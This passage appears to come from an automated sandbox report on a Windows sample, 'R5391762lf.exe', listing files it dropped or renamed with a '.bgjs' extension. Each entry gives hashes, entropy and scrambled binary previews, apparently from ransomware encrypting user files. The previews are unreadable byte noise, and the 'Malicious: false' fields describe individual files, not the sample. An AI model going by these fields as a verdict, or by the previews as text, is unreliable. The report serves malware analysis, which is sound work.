Entropy (8bit):	7.861579035761683
Encrypted:	false
SSDEEP:	24:tPCgyXWRkc8pphat1cCU66/8z7dFFJmtvnGUXGRVzOcyX9WqF+4ONR4e11/pJXq+:t6gyXgV84Dc76va9HVxQqU4q3xXFuED
MD5:	54700C0191328BEA5D4C1DDCDC1E384B
SHA1:	89023DAC225F1E4CD773DCA79E7C892D49CFA204
SHA-256:	5CDF92B827FBE114B57DEC51CBC1194D7BAD344860F0D51A8971541E09B2AE74
SHA-512:	78A1BFE39B387821FE5DCADAB2DC5EECB63DE1D4E568657B479028D03705AEFF9A2755F63BF0CA158DF74C1CCEB208D1C24E2E114E1EA5E187A5B0CA9745C2CA
Malicious:	false
Preview:	VFMAN.C...]a..;.I..V.=d....^...#..u.{.a.....)..b...........t...0..-d...?.B..x.;e.y....~.......x.w.cm......V...I].<..Q.l..hg=y^'...WI:Y-...9.M..^..!;8ATEe\.&G..k7..YG&...>.d..^[3.r..&T...!.........).....0.8(.g#.).....7..{.v..M.o...1.-h.L...K.]..BX..."{%..o,.(.%S3A.S....mVe...)...Jd...E.XIl.O...)._S>_...tkx].....P.(5.`..G.?.L.N...6.7....`.........u....w....k..?..$..[.v.a'}..~.Pw.....k.\....O.\.p..d...f.q..Pe..3...n......s..T..../.g...9.1.......j.]...G...U.,.G.s"yV.[F.1Q.D6...W9m.,......L\|g..q..;.o.F....G......a..$.)...0.J"...v.~..&_Tz..}......0..$yI..f..%......)..z#.b....T.........}..N..f.]..Y..mN=...Em..4;...C....z..u......^W.r. .ew.d._..` ...My-.....!...r...z..K.}..L\.P.I~);..\|>r/.#...+..:.........!...>..omz..Oy_.....Ax...{..<..qFc%A.5Z........S.u.lB+....wDO.W.w..f4f.s......jK...a..f..b-#X.b.3..4..pB,...+...&...\|v..U......J.c.u ..ylf......3x....n..&.#n.5TOT....mz..<.y......0..T.....#...=....U.s..-.K.=.j.`k\|........1I..d'...} ...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845980869808264
Encrypted:	false
SSDEEP:	24:Hxh1I8UmpuBt2Bid3aB1osdu69+RDfMJs/ExpIvihhJc2ojXdcv0dzgPeKXq8uWX:HbLuBt+osY69+Ex/zJ+9dzg2KXFuED
MD5:	31F37B86B1BA76D12398E48C501EAD40
SHA1:	8889F0E55C457A55131621A20F6A55A4A96DAF80
SHA-256:	928D20A15631F3BD2AAA3C4882997AD906E1EB1273CCC0B594C4F0F07F7A3365
SHA-512:	7CB137E603890C68EB9E91BD39266E9E7E1B62018244B295F13C06275B1224A1D144DA1401EC6FE0413DF7ABC2C9FDF38E91933A3F87B2B34D118255B4EB51E5
Malicious:	false
Preview:	ZQIXMbzD.a3b....Y.....S....S..uT..w..A...]./...Z...=...I.3r..F...Qu[...2.3.....4.0'..o..V...S..3+..;.dI..Jt......jB.>&.#y-...k....w..Ms6....M...3.....-.7..........KXX.8I8.$.)`..P...K......X..[......R...c.c...Dy<..I..<..;....'..H\R.h...@U.P.xe...w....B.6.7..0.@..........<k..^Y.\|..2F'>}.".../.Q....U.T.V..+...\|.~..C.8..]...T>.@.g....R...<.-.+.HK.Jo.u?h..}.X6.3.+Ik..s...5..o8o.....GP?.4...Kl.72V..%.df..v,.....&..Q.....mA...t..4...6...)......A.dk..?>84....c....Q...?\|E..K...(.ni....T...D.9......{...Z.b..q...qA..._.4..v......K....\Y..T.=:.j..)....][F...p.t..Ty."..R.....'....6.....Vh.F....l........... Z.=.......?...)K......;7.@_l.:+.....r.<-.f..-zc..."....-...~uaQ....j3W.Ia.l............v.........................F).u..y.k..U.X......b..)..DUw.7.5.;!.k]'P..Z\|.9.8.4g....K?.~^.$.V.n.w8...4,..c...5.<v..DW..O..`l....Ks.l...o........GFO$(.=....c....&F...yf.?c..X'.oC.`...-..T...1n....)Z"..@<N.:.G.8d.....H."..S.........a{lO.4z..5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842752906258014
Encrypted:	false
SSDEEP:	24:wM1JiMX1DhK5mua1zjZFZYMD6BZXeaemMqLZSsO7+nU8ATt/ChXBmPewECBwXq8X:yMXu5muaF3ZYMD6qa5IYUPdC91zXFuED
MD5:	3C98EC7FF6E60A217F93926D113B6C17
SHA1:	FFD8E38F71DB00633C8751FEC7BB47B1F5C0A9AF
SHA-256:	8F0ADEC423E1747423693404BF1FD8D45E33CD321BE380313A75CB1AA2AC67A1
SHA-512:	26F1230C9EC9FA37E8E41C9C7B64B31A2D3B62F571A9D80B356BB078EFF195A0CBD5F16258814FA959F5AB1862B54CD2183DA6198F9F86E19BE02218625F3810
Malicious:	false
Preview:	ZQIXM....q..JJl.....M.A.x.@A......3.@.Zp..uc.5.......e.t~....../rm..<..U.2..u...f5$i..B8..(..N.Cc..... 5xp.......:..w@...=..$.d...$..3.I95\|=.w"v\.9.,y...PX@..U. .7.....3Xn.t...&..c..F.g.F.D6.J............y....JX;.-..Q.f...W$.;.~....RN...(CGl^..x..L1-..z.5.$..=.Q2.....f.......%.K....6..v\|./.E{,...v..x..A...5..1.....8^U....Nq.m@{....A#.G...........Y\|aj..y.g6E. v.B+.._#.....`.@..~3....D..\|kqZ..k.g...^..k\..{.Q...s}o..C#..=...{...<.u..M...U0...I......`.Ir.iw..?...A%T1....a1}.X..........om.Z.p...(....+.!.Ri.?..(.j...../..4`..y......]...]2qP.d.. m..x...x`<}.7k..9.uqk3q...9>.]... ....MOT.......8...PX....A..{...W..Vm).!$C..Q..m..=..B...).UJ....V...D..\|..G..Y...;'"iD>q.\....T..M..d3.../..k...I...Q.<..6....aKp...'.A./b..G.n..C.... ..O.6...Ms\|..$c.ulpt....(.Q..f.!...p....o.>.../6....TN...aH...E8.........?.....n.."....G.hv[.A#xsw.....+.=[....N..Ey..=.9w.......1H.4f.F.u..hd$..l.^.....jF...B.....m@.Wx. ..i.D..~..\|.....}..........1N.....Y?..KO4.9..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863583401027252
Encrypted:	false
SSDEEP:	24:cZmI4u2sDjiASAjwztuLNTdH13yfdXcOSVh9SYG+SG49HzKOQDXq8uWbD:cZh28pkGJdV34cO9r+v4VPQDXFuED
MD5:	9362257D341BBDFC69DE6037B68AF0B7
SHA1:	21D6F665C58D74DC70752B6856032A9FEC797A8B
SHA-256:	FF64E5874003DBA6DDBA48F5061B7EB73D6A81AE78B4CF53B96E00C3DEDF88AE
SHA-512:	786DFF791A5E6C5D7F2576EADBBD1CEB5BF387A31A0476164FB46A36D66995E73EDD2D11C5F9E4DFDBD719E0BB39ADF1F43BA9384CC3B92845F2201B954959CD
Malicious:	false
Preview:	ZQIXM..{.A......~c6A_...G;....;....7Q..:.V/.{.)..A5.3.....fn....\|J .X#...../..NF......UpX...`V<..C#N.?.Qc..:.C{..1Y9"..L..].).r],X9/.s..h.&a_..x.$z..d..b..c......V...;Nooe....J..0.q...q!.J.GdQP1...V...;.^...G]..8.^D....I...b.l..n.m5.Z....Y....P..\,.UaGO{Y.kC..S...t.z.........{.-..M.n].."N.,..g.5.g....@..;..r.....h.}.}3.78....C..e.,.....G.K.r......y.A...7i..cY.....H=......w\...d.Z..U.W...w.k...,.#R+.......5..n...#...L.cY.,... ."..,..^`.(.Pff.z8..q......D..a.+.'...0\|.F\|.....2y.V..'s.{....d>e..H...{eP...\|......5.b(.T.Y..L.Db.#+.X..I..3..]..z.dK4g...+/b.t..mX&...H.(...iQ\.]=L..$t`.K.U.Z@A....A....S.Q ..=hp.6..N@..hj]9.......x.!4.{...n...Z.}.sJr.K.Y%v...J5......D......WM.>........@..x....w...l.#...z.B_..d?.\|\|=..0M.......e.+r>..7g..3.m.C..X.n....i..Z$.<......5vN......b..kQ..V....h.j=n..e<CT.;4Yf...5.".U.b........f..s9`...X.U>....y..8.B..\|.R...b3H...:..8'.e...R...&..0.E.../.......z~Cu.[.!..h.=F..8x.....1?.E[.._D..l.Ow.1....Rh....x..

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.840580426263325
Encrypted:	false
SSDEEP:	24:e7LxtDX351dv9WGVMK7JPiPtnrU9h8vW4s4XbRNuw70Wx6SqKXq8uWbD:kLbD3NDMKliloh8vPsUtp6SqKXFuED
MD5:	564EAC3748FE4B462F8974DF73494671
SHA1:	4160017283DEFDEC96ED5360B6A2253DF83D1951
SHA-256:	0A55D5FDD599FCB97F5B56F2543D65A0827E9192DF07E400EBE9D3B9C76C3542
SHA-512:	8B3830BF357350E9356BCED5EC9626893FBC907EDE77A9059156CAC7BF839FBAC0D77B1352E9647CF79138CD14156D17259905603DCC4E3E7BD3470561E1B421
Malicious:	false
Preview:	L.....^.u..G!.\..!J\|rA.g.\.u....U...]g.;(.....I/....@.\|z...[..?._......u6\..kZ.o.m.N=.....h0.K..$.5.~......&>z!.......?0...G{.X.C.g...D<.'..0..vF......y......0...`.+F.h.?...-{.n.0.....5j./.,...3.\|..~...M...H..r..C..5....9.T~.......yB......'m...j.i.VM..#...\7...)-.'`~.u.....gJ^..P.....'rw.....1...2.1..7.Y.@J8H.:._.%.&..~v.6r......"A.'.l..L....o.M.x^. 6....`&g.,.B..../.X..........".%.E.....Q#....>.h.z.5...-...u........sW...X...:78.m..;.....:...9....g...DP.U.^I;.........z(....[w\|...B.yt.....UY...N6......=...........x.s.....O...{.&..@J6..?o...,..R.y2.E\e.5..0\|....vs.<.1Rhp.]I..w_>._.....UC...X..@.~HY.1....\.3...t.k1g..BU..w.....g......T.yQ].5?.l....;o..>......vN.Bc.C..@......g..u.?)-...9c.\|...}@b.....%......&^.-.~..55...v.\4..7.gz@v3.xw..efn.....`..F.n.M..u.....}..U....\..........).J.aQO..W.m.Lt).L......k.....Y..cw.1.u..j...G3.E..i.....9+...gf..*...C.._5g...IHW.$...A...)....+......c...e/...H.m....]......oL.?..N..P..m.k....4...

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.246233062792499
Encrypted:	false
SSDEEP:	6:uXxqnWWFNa4PNqfm1OcZ0DJpjaM/KqWx1ok74J51ItXqHk7T3eWcii96Z:uk5Tcfm12Jp9kxz4AXqOTuWcii9a
MD5:	A6DF38F0C7C3C8DF1A0528E40497B241
SHA1:	B789870B8AFD3D4E702ECB41B3C3B2B66B4BE5E7
SHA-256:	CB629FA280FB0AA835F582DECD067D209F0D44F48BDFB92DC34A6BB8C12D11F8
SHA-512:	4B9C6FF2BBCE0351F67C4A6103699A2EF1DF34CE54B1A16D83C60401782F4B9DF74F4011FCF91DB5DC8F0562F4A6C4728B19BC5B22EBED6305C0949553C53A0B
Malicious:	false
Preview:	deskt.V..b...N+.i]..F1......."....k.............!..%.eL}I.@..S...Pb..b...vr./\|...h.......bI...n........iqS.U_4..1OY..;.9.i.rjsY...8rF]..:....e.O.$...,[..~.6V..J....._.z..".....z:q..L&-..dSm..\.V...5..p}......H.z..E1....#q.gu...J..l..Z.E...MP...8.4.rdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\.curlrc.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.251181947857987
Encrypted:	false
SSDEEP:	6:KWGOINzFTREPVP7/TCZjH6TeWM2Bdh4XTGMa4BdjJquE0dtXqHk7T3eWcii96Z:NGO4zFdER7TCxHupM2ta0c5dDXqOTuWX
MD5:	5D9877AD164FEDD3D6DD86430CBF898F
SHA1:	18F6803680C349B8910B2F4AC18B0DC3E8114224
SHA-256:	5514C56268FED2550E4B0D12C76BB1D5D310B55591E7B4575F60129428A50E58
SHA-512:	B2873C794A85654560B6933D7F99C84D2C2BF3154A1DD77BF70DDC61FD5F1011D2FCEBE13E563B688FD4029846F4228E0C9E7944CFD89B0A903D17BE6EF0C419
Malicious:	false
Preview:	insecX.j?.WT..q.gk...Yk.<..^!..v..W.s..n7.g.l..3....I%.6t d..>.M.5.2......L.G^.v..u.f/b..Q}..M}&....y..^6...D..\<....R.........m.....x...L4VO..a. ...+q(z.nC.../.E....4?9W..\|.%8...jY>.2......v~,s..s.......{L/Y>........a..j.q*..G..n..X.'!X=kV........9?.+doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.371980794739994
Encrypted:	false
SSDEEP:	6:jjqMzPXrs45g5mTYfZJQv+bh9q8RulP5gPbSeNEdU2kK7H9ARj5I19mtXqHk7T3n:b7sR5mMhJV2l0bSeNg2K7Oc19wXqOTuQ
MD5:	6C9E0D605062635933AA0A138DA43823
SHA1:	FEA28060FF54E0846DFB1E2D9D2E0E76ABFB349A
SHA-256:	738F95D8986FBC9246383DDD1D1D930E49A40FF3A2C33CEA4B7CD33A0D1E808D
SHA-512:	76172B42982B9523783ED17970D8EC4AF7AAFA1C95F23709DD5DD69FBC1DEA0734447777D1DE41BBEE3182FCCA2539A20006AB08F447BE2047D9A38E9EA19D64
Malicious:	false
Preview:	%PDFT....._..&....4...Y.4.a._-.R..o..sS..nz....H\|.g.c...@8.....Y'..=.....R.......<...gs]g....(>t.c,v+...O.Nh.;.bn....Js.4L...\..`G........J.`......4z......W.-W.l^M...'..A....A.~.[V.(=...[+V.\.0T......)$u".?:1......2.~..y.2...E..>.].ju/J1{U.I4;.P...o.f.:.....L.....et/..&-.pdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.3290405343752605
Encrypted:	false
SSDEEP:	12:ywrEAXKXU7UCrc4FSsKt7p+eUeOrPXqOTuWcii9a:ywQAaXU73rFSFpZCXq8uWbD
MD5:	7CC8410721B81DBE0A99E341560226D8
SHA1:	E01FB92D7B6B4B3123D30082624D3DBD3903C6B7
SHA-256:	7DF77E80CC2048654054BB2A8E3E26A23E6E7F7CD8AB06ED82E3D518FBFA6C87
SHA-512:	8F264234CFF3BFFEB966B63CA3E8E9524F374F183138A6E6E2088D6D6DDDDDA09D05457315C7347158152461F1D36602140D18EABA3C1C808B7CF8380A247E6F
Malicious:	false
Preview:	%PDFTV..Q.[e.._.);J9.......k-..}.Hz..U.Y..=4.%.M.k.. ^%.C..R....7.R..O.~w+...`..:...i...^.C..Rv.`-...E...U.>\|..p.z$.._y.....v........u#..q./....j.I.x).... ....~+......O..".o.{f$.y...Lc......VN.v].K.)@...Ba/Q.t..@.......o...'0..E....kk.@C.5.2C@..nO.\L...p.6`.....g.G@"....Y*6l.rZ.0.....m.D.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.8556226803976426
Encrypted:	false
SSDEEP:	24:IdCjuWC/Bu4S4S+jAuO5a8pQl9yQ+GwAE13UweviTbQd8JiwcIGXq8uWbD:drC/k/+sTNQ+gE1koGXFuED
MD5:	03A3D3E4E291DB4E1DA21BA238A183C4
SHA1:	2B203D2425043EB8DA682B34C38906A64CA2696C
SHA-256:	4721AD0D4011920A9133C2F8AA8E099DDC3C430CE2B35C2D86CC39D82DB4F910
SHA-512:	0A22963181C082690C40385FAF26604D367523B03B64CDA4B885603DAA067D57389BA27C88608B505E7DFCB32BEB6C9E53A04A127D63FFC15E6DA3B864F823A4
Malicious:	false
Preview:	<?xmlu.-E..4X....E.-...(...0~..Fu+..l...F.5.V.]..`..L.I(..h.....bY...4.A.....Hq&...,..Y>...N..C}.tB.....\WB..AZK9..P...7...%..."q.....7..!.i....h.....;....!..[...`.....".iDLMeZ.\;k.hb...M\|..e.'....7B.....Gz...g..2$.D.Y.......cT.gcE..ofqQ...-b...c.....~..<...... ..o..T0Q\..6......k4U.....U@.C^.u...3..A..]r..i....+P/.xF.R....~B..s.....N1GL..8wQd.[.B.ti.VZ.^...N.^ ..a.@b...]f..[...[d........n..0..............pA......e%....`m...#.h..y2q.....6p%iyj.1..(.....k$67..T.Z....x,e\|..B..S.....s.je.$F..>...w>S...\v.6..5C1.:.....rA.m....d.)._......h.Is.,3.5\j...3A.I...L...."....Ku.0.X..N(s...d...R.9.5.9n8W3...+.X...... aF.o-.N....j.*-.!.G.`z..S.<.....I.;...<....g.4r{...........K.-.l..........;.M[....U_x.d.Y.<sZ.1T......W....+(S....5..':.........h..?&.d:8.%......I..S7.0@..#O...:....G=..U..%..o.....9..v{.>[..7..>..,.<...$....}T.C...4.~K..^.Q.6L.Qs.3s..g.'.......&.........z.~K..f....^..>...">...v..A.._..Ijn.T.M....P....._.....).....rh.l.}..;..k....87...e.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2430
Entropy (8bit):	7.9109537354831145
Encrypted:	false
SSDEEP:	48:hIYnxjeHTUT+RrfWutSMkYZEN4ku61Py+1ZZbU4udhvBuY5FXFuED:LKHTW+BntjwucPFjZb+75f9FuQ
MD5:	2DBE5ACFFF47B451F3C267D00C08F872
SHA1:	8DD26DA70CA06538EB78BBDD4D35358D76A53405
SHA-256:	D3ECF809752C3EF61E7B71A91037302540CF5D1699294C38A2451BEF4B886883
SHA-512:	E1B56A95EF038630FB00718B33E6622AE0F0A55A7BC01A03C29735327B56C0E7DD883F5640227DFC81302564412828D4E51C4F6DDC28557615A4C185E0D087A1
Malicious:	false
Preview:	<?xml.M.V..t......_b..".......3..<....d....i...mF[.......tHWI..+.%...A$4.d..F.sj.......49P7%.'.&g~I@........1..c...N.R.................Zl......v.x}...:.U......s..$......O.'.!;.Mm.:.z..n.87.8x...?._..g...K...[...q.Jv.=;.7.}.o..2...h...'WK....-FT):........L.zX....Q..E.n...-\.....U[b..\...`....XY?.=.......a..1.u/V.T..g.........s4+..^j.+.........F....N.g......]....Z...V...7A9Ee..s....A.Z.G.....B..w`h.........w7..f.`d....{...s$R.4p?...,I..\../T1.Q..._.?H..@.Po.K.U..'N..z!..$..Z.I].......Z.{.njW..}..R..Y.~c.....v..<J..e..]Ce..`XO._R.A{..d...].ww.....VZB.LF$....?...&..l.P..&..(@2.........=?.A....\|q..y.....m.mo ...L..5.......T.Iv..u..6..%\2@`?...E.."V[..R\|....j..w..J..oL..rP...vu..iS.M.W;F..P\|~.7@......8...:...$A....].....py./j..;...w.y..7.......K..P. ih7..$%t.iI$.F.&CJ.Yqt..Z:$..IT.5#.G..A..\_N...\t:.:^.~{.%Pk..@.`.>.f.....B.....@IB..$...W..:.4..Z..>'..j%M[...pA...S..s?.._..Y...5.=S.g.04.#9a.`.....%oc.S..?..M<.Unv.h..f1.....B.....MW3.[...C.!...O.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.925163305764964
Encrypted:	false
SSDEEP:	48:QEoeG/txFVG9kU5EPjEAIYLHmxgmWqsQtHcqWFYZXFuED:5oe+xFVG9kU5CECqqmRPtHcqJFuQ
MD5:	0013CCAFCC55DD0783D96E9548B14BC5
SHA1:	3CCE43159D758FE42FC44D5250EF2B6ED2195B66
SHA-256:	18F82E045B48E426165C8F1D91F8920023B7559DD46128C11CBE21DCEB9DD3E4
SHA-512:	66211ACA244DF59A5E4F780FD57851762E78652287634E2F9F0841D192E5E4291DEFAEF10E0AA0BD9DF865C42B44B8CA7A919BB7AB3F0A0FE5CD299B0CEC42CD
Malicious:	false
Preview:	<?xmlSPt'j ..8f...aV..0#H.d...2y.....(_7`....?.p......E...O.AYT9...;4!..}..Z_...P...U.yF.a.).tH...W.%<.#...#..P.%m2.YS..I~V.5[_..(u..h.Ll?.m.....?$........+A......;.&/[..%..._7.m......1..'....M.NLS...r.....a..z.UR.!....V..x.[.....d......\|.+d.l[H.9..K.-{.\>o .:0....`(.&\|..e..1....?mI.q.....d.......Q.e..>..K.h8...q.x...........zR\7.o.; b.<8m_......;..6.~.i7r.a.....B..z.W;...Qu.Ce.._.O....L.=..5@.nTOQ...(...!u.d=....I.Y.n./$.Q.....y^..;Z...W...6....V...Z<..G.I=.e:i...bx..b..TL.~O.S.....0.c.vA....K./C.5eqY...y'.'.'..K.aA.O./..._E..el......bs^}_..4h.M..[4....hT...ylH.z..?....J...W..>...{..n.,.....q.$.^...T;I.+P..r.$......J.;+..a.!... `.`......1..S.........H.#....._.....L.................jv.b.QR...,V.sl....;w}3`..........\..0+.S..U...d...f.!'k9N...'....S.V..).)..h....:qS..6..-...].g/bALv.P...;.....=...3..$.m...T..WC.b)*u..dQ\|(g. .m....G..i. 6..S.U.........Hw..Vx...^.3L..@..Y(.i.......a.U..5pn).].0....l........9+.{rD...>.......QMn6

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2405
Entropy (8bit):	7.905799396946135
Encrypted:	false
SSDEEP:	48:2eVDoJRxqkEOGTwSLB/+Sbvcmx3Shi800jBKQWzoqLAouXKgxnXFuED:vD7NLQSbUa3Shh00jIvpU5txXFuQ
MD5:	38000F88697E25964CDEDF9DF3B47826
SHA1:	386095A63C6CF9A1A6306950F49AFC89AA0704EE
SHA-256:	F9AAC78875BEA3B993FF7D0BD07E7889FD18C17C51FE20661CFEA5AF7396CB15
SHA-512:	24B2563F3A552B2C4F81A800C8DEDE8CBE5FF1EE8730DAD1F8C715CC354537B720834976E04F03F78782292698073E9C2A22434232CA085FDCB0CF8BA67F19DC
Malicious:	false
Preview:	<?xml...%.Y.:9.~:k...1.....$Y......G..1j..Z...f..%.o.v..H.....:.(..@e&=...~.P..Qn.WKZt....a(i..Z.vz..6..R.=7........HW^..S..q.t. .....bJ..#....$..X.1L...5.........[.y.g..2......t........ ..6......>.._-.["........>JR,S@..J.H.{J....Cq=Z.)w.).7.......QLa.e.A..b....d.n...""...Ha.=I......Lj...O..).6+jL...z.o.z..(.........2.}.t..lx.`.g..0..._.g.9.a.r.xK./2....U^.&M.A..3-s....4..D.m.R.b.X..........q..Y...[...,.C..<.qDH..l..j..K_...fY.#CQ.......wJgc.............,.X.......o...m...M.sl.6...h.L@..B...Og.~......n.&.......lh<1.s.....8..$>">.\..@^e.#........b...Qn.R.z.Qo.8.S#...0Z$..,....Y;..h.V.e...t...(.H.....s....{.P.,.....nS.\U...\.@g...o.Z.#.4....%..0......f@.h.. ..>..M......>aT....[x.w.-C..t.....Q..@u.B..i..V.u..\.....d.}..>...0...r.].y..:...z.a<?M..K.....~(_..o...~.DC.$...2.}....v...'.....t)....e....x.ON.}..;s..\|s...l`_..$.........k...-..\..w..[-.W\|....B.-i.(..a..../).......5...G.<....O.(-X.v.Q....a...,.79.=......c..$...D}t2N...UR...l.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.827252314753618
Encrypted:	false
SSDEEP:	24:Peie/gviTFbG9BN5VP3X2gm34dFf/CjqDej9/WfOS1jxrJBDgKfjyKEXq8uWbD:PLe4Ks9BNzeGFfacPxrzDgKfjNEXFuED
MD5:	A7568B6C273F2DD8AF401E81CB8B0AEF
SHA1:	3092DDBC1326DB2A593AC33BE5D8CF6FD3C9B71F
SHA-256:	BC6DEF60D751DCA76688EE8875B758C9E19625F867484312C9D05564844A9BFA
SHA-512:	79A28CD135ACC1046DA73F2657CE23323875E7E2D7CA01E65E3504A6279C490966CD179A5DFD03ED485265822DD660B0FBD9DE0D2E73BFE93CC6BDBF738AC0D3
Malicious:	false
Preview:	<?xml.Y....)pL.p}TC...I.,T.0p..D...;.#..ky.1\.f.ze.fz...}.m.hE.......IR.KZzf-.......<.....F......]3a....ff.X....b....n..o.y q....tp.....\|...7.....!.UT.v.i.D...Z'%.>t........M2.Es.V:r..h!.OI....`k/.\.3.WU.....Sx5.DQ.2z'...^.f.1t.b%.1.B..."p]N..&......%..;h.5R....<...<.pR.?.....kp.gJ.....FQs..u.b....o.6.(.Y2..6X.EJ.6..j.2.... .2x......i...3i....L..C.s.$.8.p.?...K.?.o.....[.".......L.b.7:....7.33(z`g.hY..u..;.i..S.&.'W1.T.z..('....C...YW:(.$..\|1..Z.g{(.....Z...4..8.E...g..IV!...6jO0..K.)..k.n...l....d......<T....5x.'.{...p.;v.M.Q!S....Q..,.H.t.u..w...X.5...Y.>.0.Cg.;............I!.....\|.kn..Q2..A.b.y.....f...6{.M.:...4..p.d.3.]...)S..<D.,v.XO.f;[[......\.-{...T1...i.W..,..l.GM....1.g3.R....5.0=z.._..l_.:...).....<.......x.H#.R..2\|..A"._f.f.1.0.I].../.......j.T...N..;2....x....2.....>p.M/.l..[......;.rz..@v%...(..5..g..5... .F..E...i.\|,......n3..K....../m .y].a...-^.7h..._#F\|x...~..I...x.RB.Sg.....jg..m...AUR=..S.........Yo.7.W)......8.^.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2416
Entropy (8bit):	7.910164315392702
Encrypted:	false
SSDEEP:	48:Rkfodj3erIW/61hYhOwuyx91SrbW8YTRH53IiUO1Fc3KJQycKV6XFuED:qwdTe9/Ihu//t8ORZ3IpuC+VxqFuQ
MD5:	D08F05EE3C9EF9915A2EBB20DAE687AE
SHA1:	7F2CC4C462A6AFDDC8B828AA08347105FFAD1DDD
SHA-256:	5D11632F7ABA731083DCD3A4CB4DAAF0D3FE54BB6523D3F0C8CFDC36001788BC
SHA-512:	5F4BEF397A73B4EA5B54D836569485CD80F03A50C656CD6C2489ED692837CF33C3E8143D6E303DB209438198299104ECC98072D4AE843A763BBE74F3C2FBB0D4
Malicious:	false
Preview:	<?xml.......\|3..)g..j..On{.Gt.7....v....#.Gy....I...C......l.,,.....>].... se.....=06~...i~.......L.n...DY.......q.&..<.2.z .24.....b..!}.PK.i. o!K.m7..X.z.i...........7~..9.^...\|]9...X.r.+B^7.o...s..z..Z4[K^..Q .x.r......:Y..Y.."..N....=..^...}..........L..J.;.1....j.....E..z.4........m..I...-.u../...g:.m..=...Dq.85j.w...V.Z...J.J.}4..C.......XF.4.N^..c....3h.\.q%LO..z.30.h... ..dD#&/v..U....0..'.;..)_.KaIHqm.; P{/.$#....1(....U...y.$..0..)......d..eB.E...uSs........o\..".....3..Ay..ri1R`z..I.j-.p.g...V...`2...B.S7....;.@..;.ha[P.....'g..K.1.s..K.O.tp.`.q/....c.l.....}..@...lf...{3..W.F.~p:....BI.L!...Y.....r.....3j....N.....J..+.m.9.../.A...m..6= ...!....v8.t.+0...=.Mi..?.&?j 987Caf"6.....}[.[i@,m..#.......3.;...<...5o.Mx{.Y]5.[P...C........-....:...'.~....0..ij.z..'.3^...[.......C..=g..._p...8.].~R..Q...^.."O.lj3..mm(.o...{....F.w......W...Z..'.sh#..<..m...........4.......Qv......h...UN.z\|.F.Y..l.k...SCNd.U...,G.V....}D.R..l+...C

C:\Users\user\Application Data\Microsoft\Windows\Recent\ATSCRGPSUM.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85352122732295
Encrypted:	false
SSDEEP:	24:jXu+KcyD/IO0XMeIPoGBOrCenNo+9MpEfO78eFVn8DPoFQ8kyiHzXq8uWbD:7u+KcyDFloGBOmslMpEfOFFVn8DcQ8k/
MD5:	7086B88462B64D50F2F36C54F9AF6E58
SHA1:	EFBFB22ABD3A31B4189AF56A551F9C21F4B95E6E
SHA-256:	361B8F32104AF1A52386B28012290E347017FC6A5106508C6A8710CA02E981E0
SHA-512:	594FF137D38DB83EBBF5A2FEAD8D240AA3208CECDA051C5CD38FA6FBE99E94CE130BD73077EB0F9FB9959B56CB6164B0AD594E5FBF34A919CAD54BA6498DA4DF
Malicious:	false
